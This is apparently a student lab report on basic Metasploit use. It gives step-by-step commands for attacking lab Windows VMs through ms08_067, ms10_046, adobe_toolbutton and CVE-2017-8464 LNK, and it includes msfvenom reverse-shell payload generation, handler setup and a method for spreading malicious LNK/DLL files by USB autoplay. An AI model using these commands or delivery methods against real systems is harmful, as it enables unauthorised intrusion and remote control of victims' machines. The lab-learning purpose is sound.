zoukankan      html  css  js  c++  java
  • Exp5 MSF基础应用 20154301仉鑫烨

    20154301 Exp5 MSF基础应用

    20154301 仉鑫烨


    一、 实践内容

    目录

    • 主动攻击:ms08_067漏洞攻击
    • 对浏览器攻击:ms10_046漏洞攻击
    • 对Adobe的漏洞攻击:adobe_toolbutton
    • 辅助模块的应用:smb_version

    实验环境配置

    • 攻击机:Kali
    • 靶机: `windows XP SP3(English)

    二、 基础问题

    问题:如用自己的话解释什么是exploit,payload,encode

    ①exploit就相当于是载具,将真正要负责攻击的代码传送到靶机中,我觉得老师上课举的火箭和卫星的例子非常形象,火箭只是运载工具,它把卫星送入轨道就完成了它的任务,exploit的功能就和火箭差不多。

    ②payload也就相当于载荷,实际上就是之前我们实验中做到的shellcode,exploit把它传送到靶机中后,它就负责执行相应的攻击代码。

    ③encode也就是编码,它主要是为了避免之前的payload中出现坏字符,从而影响payload的功能,其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。


    三、实验过程

    1. 主动攻击:ms08_067漏洞攻击

    参考学长的报告内容,选用XP英文版虚拟机。

    • 首先查看两个主机的IP地址

    • 在Kali上使用msfconsole指令进入msf控制台。

    • kali主机键入search ms08_067 指令查询一下针对该漏洞可以运用的攻击模块:

    • 键入use exploit/windows/smb/ms08_067_netapi ,使用该模块,再使用show payloads查看可以供我们使用的payload:

    • 我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的generic/shell_reverse_tcp。当payload,使用指令set payload generic/shell_reverse_tcppayload进行设置。

    • 接着使用指令show options查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):

    set RHOST 192.168.108.132
    set LHOST 192.168.108.128
    set target 0
    
    • 设置完相应的参数后,再次使用show options对攻击的选项进行查看:

    • 接着使用exploit指令开始攻击,攻击成功后获取了靶机的shell,使用systeminfo指令查看靶机系统信息:

    2. 对浏览器攻击:ms10_046漏洞攻击
    • 基本步骤还是和上面一样,先利用search ms10_046指令查看可以运用的攻击模块:

    • use exploit/windows/browser/ms10_046_shortcut_icon_dllloader使用该模块,再使用show payloads查看可以供我们使用的payload:

    • 然后查看需要设置的参数,SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:

    • 出错:IP地址因不明原因变动,导致实验浪费大量时间

    set LHOST 192.168.108.133
    set SRVHOST 192.168.108.133
    
    • 设置好参数后,进行查看:

    • 使用exploit指令执行漏洞,可以看到生成了一个url:

    • 在靶机的IE浏览器上使用该url进行访问,在MSF终端看见漏洞执行成功:

    • 使用sessions指令查看当前存在的会话,可以看到存在一个ID为1的会话:

    • 使用sessions -i 1选择会话1,成功获取了靶机的shell,利用systeminfo指令查看靶机的系统信息:

    3. 对Adobe的漏洞攻击:adobe_toolbutton
    • 先使用search adobe查询和adobe漏洞有关的模块,我选择的是use exploit/windows/fileformat/adobe_toolbutton,然后使用该模块,设置回连的payload

    set LHOST 192.168.108.133
    set LPORT 4301
    set FILENAME 20154301.pdf
    
    • 查看需要设置的参数:

    • 设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/目录下成功生成了一个lxm.pdf文件:

    use exploit/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.108.133
    set LPORT 4301
    

    • 然后将该文件传送到靶机上,并且在攻击机上打开监听:

    • 将靶机中的pdf文件打开,攻击机成功获取到靶机shell:

    4. 辅助模块的应用:smb_version
    • 使用show auxiliary查看可以运用的辅助模块。
    set RHOSTS 192.168.108.133
    set THREADS 10
    
    • 我使用的是scanner/smb/smb_version,用来对靶机的smb版本进行扫描。

    • 设置靶机的IP地址(也可以设置要扫描的一段范围),以及扫描使用的线程:

    • 使用exploit指令开始扫描,成功扫描到靶机的smb版本:

    5. smb(ms17-010)远程命令执行之msf
    6. powershell网络钓鱼获取用户密码

    msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.108.133 LPORT=4444 -f exe> /opt/bk.exe

    • 通过MSF获取远程目标受害者主机的反弹shhell:
    msf> use multi/handler
    
    msf exploit(handler )> set payload windows/meterpreter/reverse_https
    
    msf exploit(handler )> set lhost 192.168.108.133
    
    msf exploit(handler )> set lport 4444
    
    msf exploit(handler )> exploit
    

    7. msf下的LNK漏洞(CVE-2017-8464)利用
    • RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时,用户权限较少的账户相较管理员权限的用户受到的影响更小。

    • 攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制,文件可以存放在可移动磁盘或远程共享中。当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件,打开此驱动器 (或远程共享) 时,恶意文件就会在目标系统上执行攻击者的代码。

    • kali主机下载cve_2017_8464_lnk_rce.rb:
      cd /opt
      wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
      uploading-image-290136.png

    • 将cve_2017_8464_lnk_rce.rb拷贝到

    /usr/share/metasploit-framework/modules/exploit/windows/smb/目录下:
    cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

    • 生成监听shell:
    msf > use exploit/multi/handler
     
    msf  exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
     
    msf exploit(handler) > set LHOST 192.168.108.133
     
    msf exploit(handler) > exploit -j
    ![](https://images2018.cnblogs.com/blog/1344257/201804/1344257-20180419152945404-227599762.png)
    
    
    • 生成大量的.LNK文件(对应盘符从D盘到Z盘)和要加载的.dll文件(后门文件, copy了一个lnk文件(根据插入靶机U盘后识别的盘符,例如我插入U盘后显示的E盘,所以就选择了E结尾的lnk文件)和dll文件到U盘)
    msf exploit(handler) > back
     
    msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
     
    msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
     
    msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.108.133
     
    msf exploit(cve_2017_8464_lnk_rce) > exploit
    

    • 将/root/.msf4/local/*所有文件拷贝到/opt目录下的test文件夹中,然后拷贝到目标靶机windows7X64上

    • 然后点击快捷键,就会触发注册dll文件,如果不行直接注册dll文件(一般是将这项快捷键和DLL文件拷贝到一个文件夹里面然后拷贝到U盘,只要对方开了U盘自动启动播放功能,就会自动触发注册dll文件)

    • 在kali下可以看到成功获得sesions会话为1(后来由于某些不可描述的原因失败了,最终7成功)

    • 然后进入到会话,就会成功进入到metermter的shell界面:

    四、实验体会

    • 通过本次实验我认识到我们现在所学的相关知识仍距离实战有一定的距离,我们所利用的漏洞大多只能针对老版本的系统以及很久之前的漏洞,这些漏洞现今大多都已经被补上。msf只是一个平台,我们不能依靠它去进行现在的渗透测试。
    • 在今后的学习中,我们应该自己学习编写payload,使其拥有更多的功能,更强的针对性。另外,系统发现的重要漏洞一定要打上补丁,否则真的非常危险。
  • 相关阅读:
    Android中实现定时器的三种方法 分类: Android 2015-07-14 18:04 11人阅读 评论(0) 收藏
    java构造器内部多态方法
    java继承方法覆盖
    java对象实例化 静态块,对象块,构造函数执行顺序
    Linux 的系统运行级别
    Jmeter启动jmeter-server.bat 报java.io.FileNotFoundException:rmi_keystore.jks 解决方法
    jmeter中JSON Extractors使用
    CentOS6.5下安装jenkins
    day12接口自动化测试框架
    day10 python接口开发、mock接口、网络编程
  • 原文地址:https://www.cnblogs.com/z20154301/p/8872328.html
Copyright © 2011-2022 走看看